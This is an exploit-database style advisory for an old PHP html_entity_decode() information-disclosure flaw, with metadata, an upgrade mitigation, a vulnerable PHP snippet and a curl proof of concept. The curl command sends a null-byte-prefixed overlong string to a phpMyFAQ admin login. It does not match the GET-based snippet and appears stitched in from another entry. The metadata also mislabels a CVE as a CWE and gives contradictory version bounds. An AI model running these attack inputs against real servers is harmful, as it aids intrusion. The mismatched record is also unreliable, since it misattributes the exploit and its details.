PHP 'html_entity_decode()' Information Disclosure Vulnerability

vendor:

PHP

by:

No author mentioned

CVSS

MEDIUM

Information Disclosure

200

CWE

Product Name: PHP

Affected Version From: PHP versions prior to 5.1.3-RC1

Affected Version To: 5.1.3-RC1

Patch Exists: YES

Related CWE: CVE-2006-5465

CPE: a:php:php

Other Scripts:

Platforms Tested:

2006

PHP ‘html_entity_decode()’ Information Disclosure Vulnerability

The vulnerability allows an attacker to gather information by exploiting the 'html_entity_decode()' function in PHP. This can aid in other attacks.

Mitigation:

Upgrade to PHP version 5.1.3-RC1 or later.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/17296/info

PHP 'html_entity_decode()' function is prone to an information-disclosure vulnerability. This issue arises when a script using the function accepts data from a remote untrusted source and returns the function's result to an attacker. 

Information that the attacker gathers by exploiting this vulnerability may aid in other attacks.

PHP versions prior to 5.1.3-RC1 are vulnerable to this issue.

<?php

$foobar=html_entity_decode($_GET['foo']);
echo $foobar;

?>

Running it with url:

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curl "http://www.example.com/phpmyfaq/admin/index.php" -D - -d "faqusername=%00VERYLONGSTRINGHEREEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"